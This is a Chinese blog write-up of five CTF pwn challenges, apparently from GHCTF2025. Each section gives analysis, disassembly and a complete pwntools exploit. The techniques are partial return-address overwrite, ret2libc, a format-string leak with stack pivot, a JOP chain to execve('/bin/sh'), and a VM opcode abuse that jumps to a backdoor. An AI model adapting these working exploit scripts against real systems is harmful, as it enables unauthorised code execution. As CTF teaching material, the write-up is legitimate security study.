Hello_world

签到题

开了pie,传后面的两位的字节就好

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

#p=process('./pwn')

p=remote('node2.anna.nssctf.cn',28547)

# gdb.attach(p)
# pause()
payload=b'a'*(32+8)+p16(0x09c5)

p.send(payload)

p.interactive()

ret2libc1

这个看懂代码就好,直接ret2libc

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')

p=remote('node2.anna.nssctf.cn',28626)
#p=process('./pwn')
elf=ELF('./pwn')
libc=ELF('./libc.so.6')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
ret=0x400579
pop_rdi=0x400d73
main=0x400c4f

p.sendlineafter(b'6.check youer money',b'7')
p.sendlineafter(b'How much do you exchange?',b'20000')

p.sendlineafter(b'6.check youer money',b'5')
payload1=b'a'*(64+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
# gdb.attach(p)
# pause()

p.sendafter(b'You can name it!!!',payload1)

p.recv()

libc_base=u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))-libc.sym['puts']
log.success(f"libc>>>{hex(libc_base)}")
bin_sh_addr=libc_base+next(libc.search(b'/bin/sh'))
system_addr=libc_base+libc.sym['system']

payload2=b'a'*(64+8)+p64(ret)+p64(pop_rdi)+p64(bin_sh_addr)+p64(system_addr)
p.sendlineafter(b'6.check youer money',b'5')
p.sendafter(b'You can name it!!!',payload2)
p.interactive()

ret2libc2

分析

这题有几个点需要特别注意

因为没有pop_rdi这个我们想要的gadget,但是前面存在一个格式化字符串漏洞,我们可以让函数地址跳转到前面漏洞的地址的位置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
; __unwind {
endbr64
push rbp
mov rbp, rsp
sub rsp, 30h
mov rax, 6F77206F6C6C6568h
mov rdx, 0A21646C72h
mov qword ptr [rbp+format], rax
mov [rbp+var_8], rdx
lea rax, [rbp+format]
mov rdi, rax ; format
mov eax, 0
call _printf
lea rax, s ; "give you a gift."
mov rdi, rax ; s
call _puts
lea rax, aShowYourMagic ; "show your magic"
mov rdi, rax ; s
call _puts
lea rax, [rbp+buf]
mov edx, 60h ; '`' ; nbytes
mov rsi, rax ; buf
mov edi, 0 ; fd
mov eax, 0
call _read
lea rax, [rbp+buf]
nop
leave
retn
; } // starts at 4011FB
func endp

因为image-20250311194416216

结合

image-20250311194427390

我们在第一次函数返回的时候可以直接打印对我们输入的地址的进行格式化自字符串的利用(控制rax)

因为函数存在leave 指令,我们rbp的值不能随便覆盖,不然会出问题,我们只需保证rbp的地址有权限即可

所以我们选择bss段,注意后面执行其他指令可能会[rbp-0x7x],所以bss段要加上一个值

既然覆盖了rbp,那么我们还怎么知道溢出多少字节从而保证让函数执行到我们想要的位置呢

虽然后面的read会对rbp进行覆盖,但是通过调试可以知道,image-20250311195542916

注意rbp的值,两次我传入的rbp覆盖的值不一样,加上先传入的rbp还是会先弹出,所以可以按照前面的长度进行覆盖

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *

context(log_level='debug')


p = process('./pwn')

elf = ELF('./pwn')

puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
printf_plt=elf.plt['printf']

offset=48
leave_ret=0x0000000000401272
bss=0x404060

main_addr=elf.sym['main']

payload=(b'%27$p'*5).ljust(0x20,b'\x00')

ogg=[0xebc81,0xebc85,0xebc88,0xebce2,0xebd38,0xebd3f,0xebd43]

payload+=b'%27$p'.ljust(16,b'\x00')
payload+=p64((bss+0x500))
payload+=p64(0x401227)

gdb.attach(p)
pause()
p.sendafter(b'show your magic',payload)
p.recvuntil(b'0x')
leak_addr= int(p.recv(12),16)-0x29e40

print(hex(leak_addr))

libc = ELF('./libc.so.6')
libc_base=leak_addr
# libc_base=leak_addr-libc.sym['puts']
bin_sh_addr=libc_base+next(libc.search(b'/bin/sh'))
system_addr=libc_base+libc.sym['system']
pop_rdi=libc_base+0x2a3e5
ret=libc_base+0x29139
payload2=b'a'*offset+p64(bss+0x100)
# payload2+=p64(ret)+p64(pop_rdi)
# payload2+=p64(bin_sh_addr)+p64(system_addr)
payload2+=p64(libc_base+ogg[0])


p.sendafter(b"show your magic",payload2)

p.interactive()

你真的会布置栈吗?

听说这个题目是国际赛题,好你个出题人,新生赛偷偷塞国际题目是吧

分析

题目给的很简单,就是打印一个图案中混着一个栈地址,并且有一个栈溢出,溢出后直接执行我们所需要的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public _start
_start proc near

var_8= qword ptr -8

mov rsi, offset msg1
mov edx, 17Bh
call print
push rsp
mov rsi, rsp
mov edx, 8
call print
mov rsi, offset msg2
mov edx, 235h
call print
xor rax, rax
xor rdi, rdi ; fd
mov rsi, rsp ; buf
mov edx, 539h ; count
syscall ; LINUX - sys_read
jmp [rsp+8+var_8]
_start endp

但是这个题目考就考在gadgets的利用,我们来看看这个比赛给我们的gadgets

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
 print           proc near               ; CODE XREF: _start+F↓p
.text:0000000000401000 ; _start+1D↓p ...
.text:0000000000401000 mov eax, 1
.text:0000000000401005 mov edi, 1 ; fd
.text:000000000040100A syscall ; LINUX - sys_write
.text:000000000040100C xchg rax, r13 ;交换这两个寄存器的值
.text:000000000040100E jmp qword ptr [rsp+0]
.text:000000000040100E print endp
.text:000000000040100E
.text:0000000000401011 ; ---------------------------------------------------------------------------
.text:0000000000401011
.text:0000000000401011 dispatcher:
.text:0000000000401011 add rbx, 8
.text:0000000000401015 jmp qword ptr [rbx]
.text:0000000000401017 ; ---------------------------------------------------------------------------
.text:0000000000401017
.text:0000000000401017 gadgets:
.text:0000000000401017 pop rsi
.text:0000000000401018 pop rdi
.text:0000000000401019 pop rbx
.text:000000000040101A pop r13
.text:000000000040101C pop r15
.text:000000000040101E jmp r15
.text:0000000000401021 ; ---------------------------------------------------------------------------
.text:0000000000401021 xor rdx, rdx
.text:0000000000401024 jmp r15
.text:0000000000401027 ; ---------------------------------------------------------------------------
.text:0000000000401027 xor rsi, rsi
.text:000000000040102A jmp r15
.text:000000000040102D ; ---------------------------------------------------------------------------
.text:000000000040102D xor rdi, rdi
.text:0000000000401030 jmp r15
.text:0000000000401033

因为全篇几乎没有一个ret,所以我们执行的gadget只能通过其他的方式来连接

注意,这里有很多的jmp r15 ,还有直接跳转到rsp地址或者rbx地址,所以我们可以通过这些寄存器实现函数的劫持,从而进行提权

我们知道要利用shellcode就需要执行execve(/bin/sh\x00,0,0)

也就是

1
2
3
4
5
rdi---->/bin/sh\x00
rsi---->0
rdx---->0
rax---->59
syscall

因此我们可以直接利用这段代码实现寄存器的值的填入

1
2
3
4
5
6
7
8
9
10
11
12
13
   pop     rsi
.text:0000000000401018 pop rdi
.text:0000000000401019 pop rbx
.text:000000000040101A pop r13
.text:000000000040101C pop r15
.text:000000000040101E jmp r15

.text:000000000040100A syscall ; LINUX - sys_write
.text:000000000040100C xchg rax, r13 ;交换这两个寄存器的值
.text:000000000040100E jmp qword ptr [rsp+0]

.text:0000000000401021 xor rdx, rdx
.text:0000000000401024 jmp r15

这样子就可以控制我们想要的寄存器从而拿到shell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
p=process('./pwn')

gdb.attach(p)
pause()
leak_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))+0x28
log.success(f"leak>>>{hex(leak_addr)}")

pop_r15_j15=0x40101c
pop=0x401017
syscall=0x40100a
r13_rax=0x40100c


payload=p64(pop_r15_j15)+p64(pop)+p64(0)+p64(leak_addr)+p64(0)+p64(59)+p64(syscall)
payload+=p64(0x401021)+b'/bin/sh\x00'

p.sendline(payload)

p.interactive()

my_vm

分析

这题和buu上面的一题很像,VMpwn入门学习 | 鱼非愚具体可以看我这里的

仿照上面的操作我们,先对execute函数进行逆向

1
2
3
4
5
6
7
8
9
0x10: reg[high]=low
0x20: stack[0x642108] = reg[high]
0x30: reg[high] = stack[0x642108]
0x40: reg[high] = reg[low] + reg[middle]
0x50: reg[high] = reg[middle] - reg[low]
0x60: reg[high] = reg[low] ^ reg[middle]
0x70: reg[high] = reg[middle] >> reg[low]
0x80: reg[high] = reg[middle] << reg[low]
0x90: memory[result] = reg[middle]

image-20250317192812028

因为这题把后门函数给出来了,我们只需把funcptr这个函数的ptr地址改写为backdoor就行了

其实这题比较简单,大家可以先把上面我文章里面的复现完,再不看wp写这题,会清晰很多

exp

exp写的有点乱,主要是开始好几个点都看错了,后面直接缝缝补补了,没有大改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
from pwn import * 
context(arch = 'amd64',os = 'linux',log_level = 'debug')

local_file = './my_vm'

select = 1
if select == 0:
p = process(local_file)

elif select == 1:
p = remote('node1.anna.nssctf.cn',28224)

else:
p = gdb.debug(local_file)

elf = ELF(local_file)

s = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
rl = lambda text :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg = lambda s, num: log.success(f"{s} >>> {hex(num)}")

def opcode(code,high,middle,small):
op = code<<24
op+= high <<16
op+= middle<<8
op+= small
return(str(op))

def debug():
gdb.attach(p)
pause()

shell_low=0x0b78
shell_high=0x40

sla('IP:','0')
sla('SP:','1')
sla('execve:',str(20))
#memory-add= 4*8

# 0x10: reg[high]=low
# 0x20: stack[0x642108] = reg[high]
# 0x30: reg[high] = stack[0x642108]
# 0x40: reg[high] = reg[low] + reg[middle]
# 0x50: reg[high] = reg[middle] - reg[low]
# 0x60: reg[high] = reg[low] ^ reg[middle]
# 0x70: reg[high] = reg[middle] >> reg[low]
# 0x80: reg[high] = reg[middle] << reg[low]
# 0x90: memory[reg[high]] = reg[middle]

sl(opcode(0x10,0,0,8)) #reg[0]=0x8
sl(opcode(0x10,1,0,8)) #reg[1]=8
sl(opcode(0x80,6,0,1)) #reg[6]=reg[0]<<reg[1] =0x800
sl(opcode(0x10,0,0,4)) #reg[0]=4
sl(opcode(0x10,1,0,4)) #reg[1]=4
sl(opcode(0x80,7,0,1)) #reg[7]=0x40=reg[0]<<reg[1]
sl(opcode(0x80,7,7,1)) #reg[7]=0x400
sl(opcode(0x80,7,7,1)) #reg[7]=0x4000
sl(opcode(0x80,7,7,1)) #reg[7]=0x40000
sl(opcode(0x80,7,7,1)) #reg[7]=0x400000

sl(opcode(0x10,5,0,7)) #reg[5]=1
sl(opcode(0x80,3,5,1)) #reg[3]=0x70
sl(opcode(0x10,1,0,7)) #reg[1]=7
sl(opcode(0x40,0,1,3)) #reg[0]=reg[1]+reg[3]=0x77

sl(opcode(0x40,8,0,6)) #reg[8]=reg[0]+reg[6] 0x800+0x77=0x0877
sl(opcode(0x40,8,8,7)) #reg[8]=reg[8]+reg[7] 0x400877--->backdoor

sl(opcode(0x10,0,0,8)) #reg[0]=8
sl(opcode(0x10,1,0,0)) #reg[1]=0
sl(opcode(0x50,2,1,0)) #reg[2]=-8
#debug
sl(opcode(0x90,2,8,0)) #memory[reg[high]] = reg[middle]

p.interactive()

持续更新中…

参考

本篇博客是复现博客,部分题目思路来自于网上,现在把参考的博客放在下面

[官方wp](https://iyheart.github.io/2025/03/09/CTFblog/write up系列blog/2025年/GHCTF2025-PWN方向wp/)